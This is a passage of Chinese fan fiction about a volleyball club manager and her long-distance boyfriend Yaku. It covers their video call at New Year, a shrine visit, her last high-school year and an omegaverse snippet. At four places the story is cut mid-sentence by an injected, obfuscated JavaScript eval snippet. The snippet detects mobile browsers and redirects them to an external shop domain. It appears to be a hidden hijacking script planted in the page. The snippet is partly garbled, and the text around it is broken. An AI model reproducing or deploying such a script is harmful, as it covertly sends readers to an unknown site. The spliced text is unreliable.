“都跨就好啦。”我捏捏小熊充满棉花的手掌，“我买了仙女棒哦，给你看烟花。” “——偶尔熬一次也没关系的啦，我知道你那边零点的时候我这凌晨四点了。”我猜到他想说什么，提前道，“我想和你一起跨年。” 新年永远都是团聚的日子，哪怕是我，往年新年的第一天也都会有两个哥哥来找我一起，更何况家庭状况明显幸福和睦的夜久前辈。 他今年所身处的甚至还是异国他乡。 我没法为他做什么，但……至少这样的话，之后回想起来，夜久前辈关于新年第一天的记忆就不会全部都是孤单的、除了自己之外空无一人的公寓了吧？ 我这么想。 但随即顿了顿，我又有点犹豫，“不过你也不怎么熬夜哦……或者第二天我去神社的时候我们拨视频？远程参加参拜……之类的。” 对面安静了两秒，而后夜久前辈有些无奈的声音传过来，“我倒是没问题……但去年你去神社就去得很早吧？四点多才睡受得了吗？” 我心知他的意思是同意，一下不受控制地弯起眼睛笑起来，“起不来的话我会晚点去的，没问题。” 片刻后，耳机里传来他无端带上点笑意的声音，“……那我到时候会好好守在手机边上等你的电话的？” “好呀。”我这么轻声回道。 # 比新年先到的是圣诞节。 同俄罗斯有专门的圣诞节的假期不同，日本没有关于圣诞的假期，我在圣诞节当天还是要上学、而后参加部活——我本来还有点高兴于难得工作日的时候夜久前辈也可以回我消息，直到圣诞节前几天跟他聊起这事的时候，从他口中得知俄罗斯的圣诞节和日本不在同一天。 于是对圣诞节彻底没了感觉。甚至今年的圣诞节也不像去年那样下了雪。 灰羽对此有些遗憾，他扒着窗户看了会儿外面，同旁边的一年级后辈道：“去年这会儿可是下雪了，可惜今年没有。” 他道：“不然我们可以出去打雪仗。” 后辈“咦”了声，问：“所以，列夫前辈，你们去年打雪仗了？” “哦，”灰羽道，“那没有。” 后辈：“？” 灰羽：“去年夜久前辈催我们赶快回家，说既然下雪了就别在外面晃，天气冷，要是感冒了影响训练就拿我们试问。” 后辈：“……？” 灰羽：“不过他只是习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309469|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯性操心啦，我们要是真玩起来他会一起来玩的。” 后辈：“但你们最后不是没玩吗？” 灰羽：“……哎这不是没想起来嘛，当时看着小游和夜久前辈出去约会之后，大家就都在声讨他们两个了。” 后辈犀利吐槽：“所以是前辈们你们当时都没有女朋友的意思吧？” “……”灰羽双手抱臂，沉思两秒，“说起来黑尾前辈和海前辈上了大学之后也依旧没有谈恋爱……真要说的话我们现在也都没有女朋友啊。” 后辈：“……这是什么值得夸赞的事情吗？” 现在整个排球部基本都是单身，唯一一个非单身的只有经理——等等。 他突然想起什么，“列夫前辈，你之前不是说那位‘夜久前辈’去俄罗斯打职业了吗？” 灰羽点头：“对啊。很厉害吧？” 后辈犹豫了一下：“那小游学姐她……？”不都说异国恋分手概率极高吗？ “小游？他们还在谈啊。”灰羽摸摸下巴，突然沉重道，“现在已经不止有夜久前辈的俄语水平比我的厉害了，小游会说的都比我多。” 后辈短暂惊叹了一下活生生的异国恋情侣竟然就在眼前，闻言沉默了两秒，“这应该反思一下自己吧列夫前辈，明明日俄混血的人是你吧！” 灰羽：“……不要再提这个了！我已经被说了一年了！！” 自从他妈妈知道这事之后就一直在说！怎么连后辈也是！！ 我放完拖把，远远看到他们还在那里聊天，便走过来，“别一年了，列夫，你球框还没推回储物室呢，快点去。” 我随即转向旁边那个跟我差不多高的自由人替补的后辈，继续道：“事情干完了的话就赶快去换衣服吧，快到预约的时间了。” 今年没有需要过二人世界的情侣，山本前辈索性就征求了一下所有人的意见，准备部活结束后一起出去吃饭。 挑选聚餐的饭店的时候依旧因为意见不合，所以他们再次举行了一场大型剪刀石头布的比赛。 这次是一年级的一个副攻手后辈赢了，他选了学校附近的一家烤肉店。 闻言，灰羽和后辈齐齐点头，而后齐刷刷道：“好的小游/学姐！” 我有点无奈地挥了下手，道：“快点去吧。” 看着灰羽跑着一路拖着两个排球框飞进储物室，再看着也跟着脚步轻快地往更衣室跑的后辈，我琢磨两秒，忽地有点迷惑。 灰羽到底是怎么做到毫无前辈架子、每次都和后辈们混在一起然后一起被骂的？这是什么天赋吗？ 芝山和手白现在就完全是值得信任的前辈的样子啊？就连犬冈，他在后辈面前也完全是知心大哥哥的形象——我估摸着应该是因为他家有两个妹妹吧，他真的很会哄小孩。 这么在心里嘀咕两句，我转身，也准备回更衣室换一下衣服。 走前，我低头摸出手机，给夜久前辈发了条消息。 【游：部活差不多结束啦，大家准备去吃烤肉】 【游：今年圣诞没下雪呢】 心知这个点他还在训练，得再等几个小时才会回消息，我便将手机重新揣进兜里，抬脚朝更衣室走去。 120. 后日谈10 圣诞节结束后，学校便正式开始放了寒假。但鉴于音驹今年也打进了全国、需要加训，所以我们排球部的人都留了下来，参加教练组织的、额外的加训，直至新年前两天，我们排球部一行人才终于迎来了真正意义上完全空闲的几天寒假 我对几天假期倒是不算在意，相对来讲，更吸引我注意的其实是另一件事。 同去年从圣诞节就开始下雪的天气不同，今年的年末虽然依旧很冷，但却一直没有要下雪的样子。 “今年大概就不会下雪了吧。” 我裹着厚厚的棉服站在客厅的窗边，将拉得严实的窗帘稍稍拉开一点，而后从缝隙中透过窗户朝外看了一会儿漆黑的夜色，半晌，才有些遗憾地道。 “不好吗？”夜久前辈有些发闷的声音从掌中手机的扬声器里传出来，他有点纳闷地道，“下雪会更冷的吧。” 我听到他声音，才意识到自己不小心把手机的扬声孔给捂住了，再拿起来一看，又感觉刚刚摄像头没准也被我跟着一起挡住了。 将手机抬起来摆到正常位置，我下意识瞄两眼摄像头里的自己，确定没什么问题，便收了心思，顿了顿，才回道：“总感觉……下雪的话会圆满一点？” 犹豫着琢磨了一下现在的心情，我继续道：“大家不是总说，初雪是冬天的正式开幕吗？虽然初雪之前也很冷就是了。” 不过东京本来就不常下雪啦……没有雪也正常，不过多少还是有点遗憾。 一边说着，我一边走回暖桌旁，再伸手掀开一角毯子钻进去，将在外面露久了而冷得有点麻木的手掌塞进暖呼呼的毯子里，才感觉自己的手重新活了过来。 我想了想，忽而又有点好奇地问夜久前辈，“俄罗斯有关于初雪的特殊含义吗？” 毕竟是气温普遍很低的国家，雪对他们来说应该是常见的事物来着。 就像日本的樱花，就有提醒人们珍惜当下、一期一会，不恋栈、不留憾地寓意。 夜久前辈闻言有点纠结地回想了一下，“我记得当初下雪的时候俄罗斯本地的队友有跟我提过……他们说初雪是冬天真正降临的信号，是必然的仪式什么的。还真是必然的仪式，我们这都下快三个月的雪了，特别冷。” 看着他的样子，我不由感同身受地打了个寒颤：夜久前辈都觉得冷……那这得多冷啊。 我隐隐畏惧地缩了缩脖子，而后手掌托住下巴轻轻歪了歪头，视线隔着手机屏幕落在他那边。 东京如今刚九点多，天色已经彻底暗下来了，只靠屋里的灯来保持那点些微的亮度。夜久前辈那边则是五点出头，不过叶卡捷琳堡天黑的早，这会儿外面也差不多已经黑透了，不过夜久前辈开了灯，倒也还算亮堂。 他正坐在卧室贴墙摆放的书桌前，手机靠着一摞书靠在桌上，摄像头则尽职尽责地将画面传到屏幕上，我能看见他完整的脸和上本身。 说实话……我对这副场景很熟。之前周末和他打视频时他通常都是坐在书桌前，毕竟他有关俄语的学习资料全部都放在这里，偶尔不聊天、只是单纯播着视频或者语音互相做自己的事情的时候，他就会继续未尽的、有关于俄语的课业与学习。 我们今天大概还是会继续这样的状态。现在离零点还很远，我们又不是很长时间没有联系或者通话……虽然见面的话也许能聊很久，但现在毕竟还隔着屏幕，待会儿聊一会儿，差不多就可以继续去干自己的事情了。 ……啊。不过当然不是现在。 我隔着屏幕看了他一会儿，突然想起什么，“下了很久的雪的话……我记得你有提过有打过雪仗？” “怎么突然提起这个？”夜久看起来有点讶异的样子，但他很快点头，“有过啊，第一次下雪的时候有几个没怎么见过雪的兴奋得不得了，他们几个起头，把所有人都带着闹起来——还挺畅快的。” “前面圣诞节的时候列夫提起来的。”我撑着下巴，不自觉有点想笑，“他说去年本来想打雪仗的，结果因为大家都在声讨我们就没想起来。” “那肯定是黑尾那家伙先起的头。”夜久前辈毫不犹豫地道。 我没忍住笑了下，“我就知道你第一反应肯定是黑尾前辈。”每次都是这样。 “除了他也没人会干这么无聊的事情了。”夜久吐槽。 我回忆了一会儿，不得不承认他说的有道理，“难怪每次都能猜中啊……”毕竟是事实来着，真要说起来的话……会因为这种事情声讨我们的还真的只有黑尾前辈。 海前辈不会干这种事情，至于其他二年级的前辈们和同级生……他们其实基本上不会去调侃夜久前辈。 只要不当着所有人的面干出秀恩爱这种引起众怒的事情，大家一般都不会对周围的情侣有什么看法。 在单身的人面前秀恩爱是会遭天谴的——研磨前辈曾经语气平平地说出了这样非常恐怖的话，且受到了排球部大家的一致认同。 我和夜久前辈倒是没干出过这种据说非常人神共愤的事情啦，但当初圣诞，教练专门调侃般说提前下训叫我们多陪陪家人恋人之类的……大概一下子就引发众怒了。 我们当初甚至还溜得特别早，不然这“声讨”也不至于一点也没听到。 我还是前几天听灰羽说才知道的。 # 慢慢地聊了一会儿天，我半道想起虽然学得不深、但好歹学了一点的俄语，便同他用俄语慢腾腾地聊了一会儿。他一边听，一边偶尔出声提醒我出错的发音，再放慢语速，回应我的话。 时间不知不觉流逝地飞快。直到原本调低声音播放着红白歌会的声音在消失片刻后，转成厚重的钟声时，我才后知后觉地抬眸，望向已经从原本的演唱现场跳转到接档的《ゆく年くる年》直播现场的电视屏幕。 红白歌会、以及结束后接档的《ゆく年くる年》直播节目，都是每年日本跨年的标配。 人们同家人围看NHK红白歌会，又在晚上十一点由寺院敲响对应佛教一百零八种烦恼的一百零八下钟，前一百零七下在旧年，第一百零八下跨零点。《ゆく年くる年》即为红白歌会结束后接档的、直播敲钟的节目。 我和夜久前辈一齐安静下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309470|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 我知道他也用另外的设备放了红白歌会，也知道他同样注意到了跳转到《ゆく年くる年》的直播页面。 我和他对红白歌会都没什么太大的兴趣，便只当做背景音，偶尔看一眼、遇到感兴趣的就多听一会儿，但总得来说的确都不怎么上心，哪怕它是跨年夜的标配。 但……到了《ゆく年くる年》的环节，我们却齐刷刷地一齐静默下来。 我望着直播页面里飘雪的天空，不自觉有些愣神。 下一秒，我撑着地面爬起来，带上拖鞋，小跑两步，再次将掩得严实的窗帘扯出一条缝来。 明亮室内投来的反光印在玻璃上，我眯起眼睛，细细地观察起外面的天空，半晌，不自觉微微睁大眼睛，“……下雪了。” 细细的、小小的，它摇摇晃晃地从天空中掉下来，飘飘荡荡落在玻璃外层，又立刻湮没在那里。 很小很小，它或许没法给地面叠上哪怕一点雪层、或许在落在地面上前就会融化，最后带来的只有再暴跌几度的气温线——但雪就是雪，它的确是真真切切的、我所期盼的雪。 我张了张嘴，忽而难以形容内心翻涌而起的、难以言说的复杂心绪。 我该说什么呢？惊讶于原本以为不会有了的雪在今年的最后十五分钟于天空落下，高兴于所渴求的圆满的确达成，又或是沮丧于明天出门时骤降的温度。 我不知道。 但我望着面前的玻璃，望着其上反射出的、背后温暖明亮的客厅，听着耳畔响起的隐隐约约的钟声，最后，重新将手机有着麦克风孔的底部凑到唇边，而后再轻声开口。 “夜久前辈。” “下雪了。” # 他们说一起见证东京初雪的情侣会永远在一起。 ……拜托了。 请是真的吧。 # 钟声清清淡淡地响在耳侧。 我捏着手机蹲在电视机不远处，抬眼盯着电视屏幕上正规律地敲响着的除夜之钟。 我在去年的时候压根没有看这个节目。 我没有熬夜的习惯，睡得一直很早，红白歌会七点十分开始，我好歹还会稍微看两个小时，但ゆく年くる年，它开始于红白歌会结束的十一点四十五分，这个时间点完全超过了我的生物钟，我基本没有看过这个。 ……还是头一回。 我这么想。 规律的、一声声敲响的钟声像一颗厚重的大石头，沉沉地压在心头。我安静了会儿，忽而响起曾经了解过的，敲响除夜之钟的寓意。 以清净之心辞旧迎新，通过一百零八声钟声消除一百零八种烦恼，放下旧年执念，迎接新年的和平与好运。 新年的和平与好运…… 伴着踩在零点的那最后一声钟声，我开口，声音同夜久前辈的混在一起。 “新年快乐，夜久前辈。” “小岛，新年快乐。” 手机一瞬间弹出很多写着【新年快乐！】的弹窗，我不自觉弯起眼睛。 ——新年快乐。 121. 后日谈11 早上出门、准备去神社参拜的时候，雪已经停了不知道多久了。 空气中弥漫着下雪过后隐约的一点潮意，昨天看到雪的那一刻心里升起的想法在数个小时后竟然真的应验。刚将门打开一条缝，瞬间，刺骨的寒风便迅速地扑到脸上。 呼吸间窜入鼻腔的风冷得人一下子清醒起来。我打了个寒颤，条件反射地抑制住刚要抬起向前走的腿，而后反手关上门。 ……天气好冷。我由衷地这么想。 虽说之前也不是没有在下雪的时候出过门，但每次的间隔时间都长达一年……再在下过雪的日子出门的时候总是会低估外面的气温。 这么在心里嘀咕，我重新回房间，把保暖衣外面的那层衣服换成厚毛衣，又保险起见带了双毛绒手套走。 今年去神社是我一个人去，至于阵平哥研二哥他们……他们昨天刚跨完年今天就被叫回去加班了，忙的话估计得两三天之后才能休息。 非常辛苦了。 我一边同情，一边应下他们帮忙代写愿望挂绘马的请求，至于愿望具体是什么…… 他们两个一直要求和去年那两个一样，升职和拆感兴趣的炸弹，看起来始终没能释怀去年那两个大凶的样子。 我不自觉有点想笑地好好应下，表示自己记住了、会帮忙代写代挂。 今年去的神社神色依旧是去年去的那个，我搜了电车路线，虽然路程长了点、得一个来小时才能到，但目的地的电车站离神社不远，下车之后再走五六分钟就到了。 总之很方便啦。 电车上的人还挺多的，我没找到位置，便找了个角落背贴着墙借了点力站住，扯了扯拉的很高的围巾，又拉了拉口罩，扯下一个手套，便低头按着屏幕唤醒手机。 将脚下的那一小片空间、还有我比了个耶的手一起拍进去，我点开聊天软件，将图片发给夜久前辈。 【游：图片.jpg】 【游：已经在电车上啦】 消息许久没显示已读，我倒不意外。虽然昨天稍微熬了一会儿，但生物钟还是起了效，我七点半出头就醒了，之后哪怕洗漱换衣服吃饭花了点时间，现在也就才八点半左右，换成叶卡琳捷堡的话……大概四点多，夜久前辈虽然的确起得早，但也没有早到这个程度。 这么想着，我切出聊天页面，想了想，回忆着平板上面课程听到哪，而后戴上耳机点开视频，开始听课。 是下个学期的数学网课，先学一点到时候也轻松一点。 # 到神社所处的山的山脚下时已经快十点了。我站在山脚下，对着延绵向上的深灰色朴素石阶和其上望去可以隐隐约约看到的神社一角拍了张照，而后低头发给夜久前辈。 他半个多小时之前就已经醒了回过消息，这会儿大概在做早餐，过了一会儿才给我回了个表情包过来。 【Yaku：[笑.gif]】 【Yaku：打算挂绘马的时候写什么愿望？】 我正顺着人流往上爬，感受到手机震动时下意识低头看了一眼。不过现在人多、加上还在走楼梯，所以我等走完了楼梯、踏上一大块平台时才低头回他。 【游：学业有成吧】 想考东艺大作曲系……虽然最初只是想尝试一下、先试一试再说，但学到现在、学了一年多之后，反倒莫名坚定了决心。 一直在以此为目标而努力，需要外出耗费大量时间的摄影相关的东西都很久没再碰过。 如果要说许愿的话……除了学业方面的东西、还有关于感情长久的期望之外就没有什么了吧。 顿了顿，我又问他。 【游：夜久前辈呢？】 虽然将近一周以前就说好了要帮忙代挂绘马，但说起来，我们其实直到现在也还没有聊起愿望具体是什么来着。 发出的消息几乎是立刻已读，但夜久前辈大概是想了一会儿，片刻后才回我。 【Yaku：那我们同样的格式吧】 【Yaku：事业有成】 事业有成…夜久前辈的确一直很努力，会许这样的愿望也不奇怪。 但相同格式……我本来现在自己的绘马上加一句感情顺利来着，他只写事业有成的话就不是相同格式了。 ……算了，一个绘马也不贵，到时候多挂一个吧。 这么想着，我重新抬脚，朝着神社里走去。 虽然最开始说要跟夜久前辈拍视频、让他也参与一下参拜流程，但后面搜索的时候才知道，参拜过程是不可以拍摄的，我便放弃了这个想法，转而只留下代挂绘马的环节。 跨过门槛、穿过鸟居，我按着流程净手、再走到拜殿的塞钱箱前，再投币、行礼。 二礼、二拍手、一礼。 行礼后不能在原地逗留，我完成最后一礼，便转而朝着不远处抽御神签的地方走去。 投币、默念愿望、再抽签，我捏着签纸垂眼看去，忽地有些讶异地微微睁大了眼睛。 ——是大吉。 我不自觉地弯起眼睛，露出一个欣喜的笑来。 虽说一直不太信这些东西，但真的抽到好签的时候还是会很高兴。 这么想着，走远两步，给后面的人空出位置，便从口袋里拿出手机，对着签纸拍了张照，给夜久前辈发过去，再想了想，又转发到同阵平哥研二哥的群和当初建的全排球部的群里。 【游：[图片.jpg]】 【游：运气超好！】 阵平哥研二哥他们还在加班，估计没在摸鱼，所以还没回消息，但夜久前辈和排球部的大家都回得很快。 【Yaku：！！】 【Yaku：运气超好！今年肯定能顺顺利利！】 ——大吉，寓意运势顶峰、诸事顺利、开运招福，是最好最好的签。 我弯着眼睛回他：【也分你，新年都要顺顺利利的！】 而排球部的群里相对来讲就杂乱一些。 【黑尾：哦哦哦运气这么好！恭喜啊！】 【福永：大吉寓意运势顶峰欸，小游你可以去抽卡[大拇指]】 【福永：[十年出金.jpg]】 【研磨：帮我抽，我今年运气好差】 ——我前面刷到过研磨前辈的动态，他最近上头，通宵把喜欢的游戏都打通关了。新的游戏又还没到、他闲得无聊，就玩了个来打发时间的抽卡游戏，结果直接抽满保底了。 动态难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309471|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得带着非常大的怨气啊。 【灰羽：[图片.jpg]】 【灰羽：我也抽到吉了！好耶！】 ——图片上是小吉。 闻言，大家抽到吉的都开始发自己的签文图片。 应有尽有五花八门，大吉、吉、中吉、小吉、末吉，一下子都快被极其了。 【黑尾：……】 【黑尾：就我抽到的是凶吗？可恶！】 连研磨都抽到了末吉！ 【夜久：诈骗骗多了的报应吧】 【黑尾：我根本没有诈骗过别人好吗！别瞎说！】 【夜久：谁信】 【黑尾：喂！】 【研磨：？那我不就是最大苦主吗】 【研磨：我打二传就是因为之前小黑说二传不用跑动很轻松】 【福永：[合十][合十]】 【灰羽：[合十][合十]】 【山本：那岂不是没有黑尾前辈研磨你就不会打排球的意思？】 装死了一会儿的黑尾前辈不装死了：【那我是功臣啊】 【研磨：……】他是真无语了。 我挨个回了最开始的消息后，便停下围观了一会儿群聊的消息，半晌，不自觉笑了下，便重新将手机放回兜里，朝着不远处售卖绘马的地方走去。 绘马有正反两面，一面写字，另一面空着的则可以画画。我不太擅长这个，便没有画画的打算，只认认真真地挨个按着格式写上愿望。 【之后可以安安全全地拆到感兴趣的模型Jin1月1日】 【希望可以升职！Hagi1月1日】 【事业有成Yaku1月1日】 【学业有成Koma1月1日】 挨个写完，我顿了顿，又拿过最后一个绘马。 【希望感情顺利长久、希望可以一直在一起Koma1月1日】 写完，我将笔帽盖上，四处看了一圈，拿着整整齐齐的五个绘马朝绘马架走去。 架子方面已经挂了密密麻麻的各种绘马，找不太到可以把五个空位放在一起的位置，我纠结了一会儿，选择将五个绘马分开，阵平哥和研二哥的放一起、我和夜久前辈的放一起，最后有关于感情顺利的，则放到了我们的绘马下面。 一组一组拍照，再截掉最后放的那个绘马，我将图片挨个发给本人。 【Yaku：完全对称了啊】 【游：我专门写的】 【游：[笑.jpg]】 格式、排版，差别都不大，放在一起能很明显看出是一对。 不管阵平哥和研二哥的不是这样，他们字数多，不好按排版写，不然我也有点想这么写来着。 看着很规整，好看。 而且……能看出是一起的话，莫名会感觉很开心。 我这么想着，给夜久前辈发消息。 【游：现在准备下山啦】 【游：待会回家去外面吃饭】 想了想，我再戳了个笑脸的表情包过去。 他回了一个。 【Yaku：路上注意安全】 【Yaku：到车站记得给我发消息】 【游：好呀】 122. 后日谈12 高二那一年的末尾，音驹打进全国、败在春高第二轮，三年级的前辈们在开学完成交接后便正式引退，由手白接任下一任部长的职责，副部长则是性格好、擅长调节队伍氛围的芝山。 交接完成后，专注学业的专注学业，如几位三年级的前辈，磨合前辈引退后全新队伍的开始进行磨合训练，当然，对于这群成绩普遍不怎么好的部员而言，还有一个非常重要的事情——那就是补课。 说来奇怪，我最初一直是觉得“运动社团的部员成绩都不太好”这点是一些外人眼里的刻板印象，毕竟夜久前辈、黑尾前辈、海前辈的成绩都很不错，研磨前辈、福永前辈、手白、芝山也都是成绩不差的类型，全排球部只有山本前辈、灰羽和犬冈的成绩一般般。 但他们好歹本来看起来就是成绩不太好、不热衷学习的类型，我一直觉得这是他们自己的原因，跟是不是运动社团的没有关系。结果一升高二，面对成绩不好的一半同级生和大部分成绩不好的后辈，我实在有点不敢置信。 一年级那个二传苗子明明挺聪明的啊，没少被教练夸过，我一直都觉得他成绩很不错，结果准备帮忙补课的时候一看成绩单，满页红勾看得我不由自主地怀疑我是不是拿成了灰羽的卷子。 我转头看向一起负责补课的手白、芝山，以及一年级里唯一一个的成绩很好的自由人后辈，语气些微带上点震撼。 “他成绩这么差的吗？”我震撼地问。 “你猜对了，学姐。”后辈吐槽，“他成绩一直都很烂，脑子都长在排球上了。” 手白这次被分到给同级生补课，他闻言看来一眼，“之前听你说觉得他挺聪明的时候一直想反驳，但一想到你没给他补过习就觉得没必要了。” 芝山想了想，委婉道：“他在学习上没有天赋。” “可能二传都这样。”灰羽闻声凑过来，摸了摸下巴回忆，“影山他成绩也不好。” 犬冈补充：“我听说稻荷崎的宫学长成绩也很烂，成绩不好可能是二传必备的属性。” 后辈咦了声，“研磨前辈也成绩不好？” 空气一时间沉默两秒，而后我们异口同声：“他是例外。” “研磨前辈在咱们排球部可是成绩第二好的。”犬冈比了个数，“年级前三十。” “不过最好的还是小游。”灰羽竖起一根手指，“年级第一哦。” “这我知道。”后辈说，“每次考试论坛上都有很多人赌学姐这次会不会还是第一，会和不会的比例是九比一。” “……还有这个说法？” # 总之，今年最后一学期的期末考试算是圆满结束，以排球部所有人没一个挂科、已引退的前辈们也都通过期末考拿到了毕业证结束。 我、灰羽、犬冈、手白以及芝山，正式升入高中三年级，成了全排球部除猫又教练和直井监督外权利（？）最大的一群人。 今年的招新依旧达标，和去年相比，除了相同的新生人数外，还有升入音驹高中一年级的山本前辈的妹妹小茜来申请成为经理，音驹排球部在今年的招新里算是彻底的大丰收。 小茜在这几年的耳濡目染下已经很有经验了，现在除了对音驹的一些流程不太了解以外，已经是一个很合格的经理人选了，我基本没什么可以教她的，甚至涉及排球部的宣传的部分她做得比我要好很多。 坦白来讲，她的到来很好地缓解了我在平衡高三繁重的课业和部活之间的压力。 我想考的院校作为全国最好的艺术大学，每年录取的名额稀少到对比一下未录取和已录取的人数后能让人心惊，加上我想考的作曲系在入学考核时需要提交自己的原创作品集、以及现场的读谱演唱和听写……总之压力很大，毕竟我以东艺大为目标开始努力的时间对比其他人来说还是太少了。 高三一整年，除去排球部的部活之外，我的时间主要都放在了作曲和音乐上，编曲作词、再用节拍器软件或者租乐器录好伴奏自己唱词。 原本除此之外倒也没有别的想法，只打算整合起来理成作品集，到时候好在出愿时提交，但有次跟小茜聊天的时候提起这事，又给她听了一段，结果她一下子支楞起来，颇为兴奋地建议我可以发到社媒。 她颇为专业地跟我说了一连串经营账号的经验和建议，又跟我讲了讲之后如果能有热度的话可以造成的好处，最后还把已经毕业的研磨前辈的社媒账号翻出来给我瞧了一眼——那是个游戏账号，研磨前辈高三的时候就有开始在油管上发布视频，现在已经正式开始做Youtuber了。 我没大听懂，但觉得她说的有道理，就搜了几个剪辑教程，空闲时候剪了一下，就新注册了油管号，发布了视频。 然后就没再管过，结果再上线的时候发现我似乎是运气好遇到了推流，再生数硬生生飙到了我第一眼没数清几个零的程度……再一看，关注我的人也突然多了几千。 很震撼，再转头看看发出的曲目——是以高一的圣诞新年为灵感写的歌词，曲子是根据歌词随便配的，完全没什么技术含量……这怎么火的？ 我迷惑半晌，倒也没有很在意这事，只是想了想，给页面截图，转发给小茜。 【游：[图片.jpg]】 【游：反响好像还不错？】 【小茜：！！！！】 【小茜：我就知道！！我当时就觉得肯定能火！】 【小茜：小游学姐你这首歌真的很好听！！！】 【游：[转圈.gif]】 【游：谢谢你呀】 不过我倒是没怎么用到小茜交给我的经营账号的经验，只是普通地的剪完视频、登上账号发布、再下线继续备考，这么循环往复，渡过IH、再迎来新年。 今年的音驹没打进春高，在东京的决定战惜败出局，而没有春高要准备，加上离放假也还有一段时间，我们几个三年级便和猫又教练商量了一下，选择提前引退，在剩下的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309472|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间里像当初的前辈们一样，帮后辈们适应队伍提前磨合，将剩下三四个月的时间都用于专心学习、然后备考。 今年的寒假没有加训，我们三年下来难得有了完整的假期，便在假期第一天约着一起出来吃了顿饭、玩了一天，才正式将全身心都投入到备考当中。 又一年跨年。 我和夜久前辈依旧一块约着跨了年，再在第二天和两个哥哥一起去了之前的神社参拜、抽签。 我很难想象阵平哥和研二哥是怎样的执念，才会在两年后再一次跑来许同样的愿望。索性这次的签文一个小吉一个中吉，他俩都很满意……我估摸着应该不会有第四年了。 至于我，我依旧和去年一样许了相同的愿望——希望考试顺利、希望能收到录取通知。 也希望感情顺利。 说起来，今年夜久前辈依旧没回来过年，他们过年这段时间又被排了比赛，他则作为首发上场，不能缺席——我为他高兴……但我真的有点想他了。 都快两年了啊。 我这么想着，琢磨了一下之后的空闲时间，而后垂眸，打开手中的签文。 ——是大吉。又是大吉。 我不自觉有些怔愣，盯着掌心中御神签的签文看了半晌，而后感受到有人轻轻搭上我的肩膀。 研二哥温和的声音在头顶不远处响起。 “看，小绘。”他笑着道，“运势顶峰、诸事顺利——是超级好的兆头哦。” “所以就放松一点吧，别给自己太大压力。”他道，“好好睡一觉，调整好状态——你可以的。” “嗯。”阵平哥在旁边插着兜侧头望过来，而后伸手，隔空点了点我的眼睛，“黑眼圈都快掉到下巴了吧，倒是早点睡啊。” 我捏了捏干燥的御神签纸，半晌，不受控制地笑了下。 “倒也没有夸张到下巴的地步吧，”我带着笑先吐槽一句，而后顿了顿，继续道，“我知道我可以的。” ——如果我都不相信我可以的话，我就真的做不到了。 我一直这么坚信着、而后相信自己。 努力就好了。我这么想。它不会辜负我的。 # 一月下旬，我正式提交了东艺大的出愿，将所有核查过的材料一一整理提交，经受学校审核后拿到了准考证，而后在二月下旬时，准时去参加了音乐学部作曲科的考试。 首先是基础能力检测的先考、再是连续四天的笔试与最后一天的面试。我一直以为，至少在这样重要的考试面前我至少会有点紧张、甚至担忧过会不会影响到考试时的状态，但真正坐在考场，拿起笔的时候，我反倒安定下来了。 都是好好学习过、复习过的知识。我这么想。没什么好怕的。 一切流程都很顺利，即使是最后的面试，我也没有紧张到那个地步，老师问什么我便答什么。最后走的时候，我有瞄到一眼监考官的表情。 ——应该稳了。我这么想。 123. 一点abo短打 自春高决定战赢下户美、拿下最后一张全国日常券后，虽然还有一个月左右才会赢来春高开幕式，但大家还是肉眼可见地又兴奋又紧张。 据夜久前辈所说，最近排球部混杂着的信息素都浓了不少，毕竟打进春高后大家不可避免地精神亢奋起来，哪怕都安安生生地自觉贴好了阻隔贴，也难以避免地泄露出了一点信息素的味道。 “最严重的就是阿虎列夫阿走他们，”浅发的前辈这么跟我吐槽，“虽然单个拎出来都算不上难闻，但混在一起真的很怪异——更何况训练的时候味道本来很重。” 作为闻不到信息素气味的beta，我听前半段时难以共情，但听到后半段时顿了顿，便颇有些感同身受地点了点头。 怎么说呢，虽然大家都是个人卫生良好的类型……但运动社团的人训练的时候难免有点味道，更何况音驹的体育馆并没有专门装排风换气系统。 点完头，我随即顿了顿，又转头瞧了瞧夜久前辈的后颈，若有所思地问：“所以，夜久前辈，你的信息素是什么味道的啊？” 